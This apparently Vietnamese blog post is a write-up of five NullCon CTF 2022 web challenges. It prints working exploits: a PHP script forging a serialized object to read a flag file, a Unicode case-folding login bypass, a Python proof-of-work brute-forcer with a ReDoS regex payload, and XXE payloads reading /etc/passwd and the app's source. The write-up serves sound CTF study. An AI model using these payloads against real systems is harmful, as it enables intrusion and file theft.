[Write-Up] NullCon CTF 2022 – Web

1. Jsonify
  • Giao diện:
  • Sau khi format lại code cho dễ đọc thì có hai điều cần để ý
  1. Nếu đầu vào method GET có chứa 3 param show, obj, flagfile thì sẽ gọi đến hàm secure_unjsonify với class cho phép là Flag
  2. flag lưu ở file flag.php
  • Và tất nhiên nếu chỉ gọi show thì sẽ bị lỗi chứ không ra luôn flag được :)) bởi vì isAllowedToSeeFlag đang là false
  • Vì vậy chỉ còn 1 hướng khai thác duy nhất đó là target vào option đầu tiên, kiểm tra xem hàm secure_unjsonify có gì
  • Obj truyền vào phải là một class ở dạng serialize và sau đó sẽ đọc và ghi đè lên bằng các properties của class đó
  • Vậy hướng khai thác cũng khá đơn giản, chỉ cần truyền vào 1 obj mang giá trị isAllowedToSeeFlag = True và đường dẫn flagfile = ./flag.php (ban đầu mình thiếu đường dẫn nên loay hoay mất khá nhiều thời gian :(( )
  • Trong soure code cũng có sẵn hàm secure_jsonify để convert dữ liệu rồi nên việc còn lại chỉ cần tạo class Flag với 2 properties mang giá trị như trên là được
12345678910111213141516171819202122232425classFlag{    public$isAllowedToSeeFlag;    public$flagfile;    public$properties= array("isAllowedToSeeFlag","flagfile");    publicfunction__shutdown(){        return$this->properties;    }}$obj= newFlag();$obj->isAllowedToSeeFlag = true;$obj->flagfile = "./flag.php";//hàm này có sẵn trong source codefunctionsecure_jsonify($obj){    $data= array();    $data['class'] = get_class($obj);    $data['properties'] = array();    foreach($obj->__shutdown() as& $key){        $data['properties'][$key] = serialize($obj->$key);    }    returnjson_encode($data);}echosecure_jsonify($obj);
  • Chạy script
  • Sau đó ném vào obj gửi request là xong
  • Flag: ENO{PHPwn_1337_hakkrz}
2. Unis Love Code
  • Giao diện:
  • Làm đẹp lại code cho dễ đọc và thấy có một hàm check username gửi lên bằng method POST, vượt qua nó thì sẽ có Flag
  • Xem hàm check có gì nào
  • Đại khái là ban đầu sẽ check đầu vào phải khác với bằng với “admin” và không được có kí tự in hoa, sau đó thì upper lên để so sánh với “ADMIN
  • Làm thế nào để đạt được điều đó? Câu trả lời là sử dụng UNICODE. Một số unicode sẽ được chuyển đổi thành not-UNICODE trong quá trình chuyển đổi nó thành chữ hoa. Trong trường hợp này, mình sử dụng ı unicode, để tên người dùng là admın. Kết quả:
  • Flag: ENO{PYTH0Ns_Un1C0d3_C0nv3rs1on_0r_C0nfUs1on}
3. Repass
  • Giao diện:
  • Bài này thì mình không giải được nên có nhờ sự trợ giúp của em Chiến để viết wu cho đủ :))
  • View source code thì có 2 thứ cần lưu ý
  1. secret sau khi nhập vào sẽ được cộng với username và time stamp, sau đó hash md5 rồi so sánh xem giá trị có được kết thúc bằng 5 số 0 hay không
  2. repass là một đoạn regex được filter độ dài và một số kí tự, nếu sau 1s request vẫn “còn sống” thì sẽ lấy được flag
  • Đầu tiên về secret thì ta cần thực hiện brute force với 1 time stamp trong tương lai, sau đó đợi đến đúng thời gian đó thì gửi request với secret đã brute force được
  • Tiếp theo về repass thì mình có xin được đoạn regex của em Chiến delay time trên 1s:
    ((({char}+)+)+)+!“, {char} là kí tự khớp với p_o_w được sinh ra random dựa theo time stamp trên
  • Ở đây mình lấy ví dụ với time stamp là 1660578999 tương ứng với thời gian thực tế à 2022-08-15 22:56:39
  • Sau đó thực hiện brute force với script như sau
123456789101112131415161718192021222324252627importhashlibimportrandomfromdatetime importdatetimeimporttime# timestamp = int(time.time())# print(timestamp)timestamp =1660578999dt_object =datetime.fromtimestamp(timestamp)print("time:", dt_object)username ="ctf"rng_init =f"{username}:{timestamp // 10}"rng =random.Random(int.from_bytes(rng_init.encode(), byteorder='little'))p_o_w ="pow:"+''.join([b forb inchr(rng.randint(97, 122)) fori inrange(rng.randint(10, 15))])print(p_o_w)key =1forsecret inrange(1000000, 9999999):    secret =str(secret)    ifhashlib.md5(f"{rng_init}:{secret}".encode()).hexdigest().endswith("0"*5):        print("secret:", secret)        key =secret        breakchar =p_o_w[5]repass ="("*3+p_o_w[5] +"%2b)"*3+"%2b!"print(f"payload: username={username}&repass={repass}&secret={key}")
  • Vì nếu để dấu “+” trong payload server sẽ decode url và hiểu đó là khoảng trắng nên phải encode url trước. Kết quả sau khi brute force
  • Vì time chia 10 nên ta sẽ có 10s để gửi request với khoảng thời gian như trên
  • flag: ENO{m4K3_KM4_Gre@t_F0r3ver}
4. i love browsers
  • Giao diện:
  • Bài này thì mình k giải được trong khi giải đang diễn ra, hết giải thì em Chiến gửi solve xong mình kiểu wtf nên thử xem sao :v
  • Aizzz trầm kảm
  • Flag: ENO{Why,os.path,why?}
5. Xtra Markup Language
  • Giao diện:
  • Giao diện là 1 thanh input nhập vào nhận dữ liệu dạng XML và có chứa lỗ hổng XXE cơ bản, thử với input để confirm lỗi:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> 
<root> 
    <test>&xxe;</test> 
</root>
  • Bài này trong giải mình không làm được vì không biết flag nằm ở đâu nên đã thử đi theo hướng RCE nhưng không thành công
  • Sau khi hết giải thì mình có lụm được solution như sau
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/cwd/flag.py">]> 
<root>
  <test>&xxe;</test>
</root>
  • Hóa ra không có RCE nào ở đây cả mà cách làm đó chính là guessing :((
  • Kết quả
  • Flag: ENO{PYTH0n_LxMl_XX3}

Tham khảo:

  • Em Quốc Anh

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: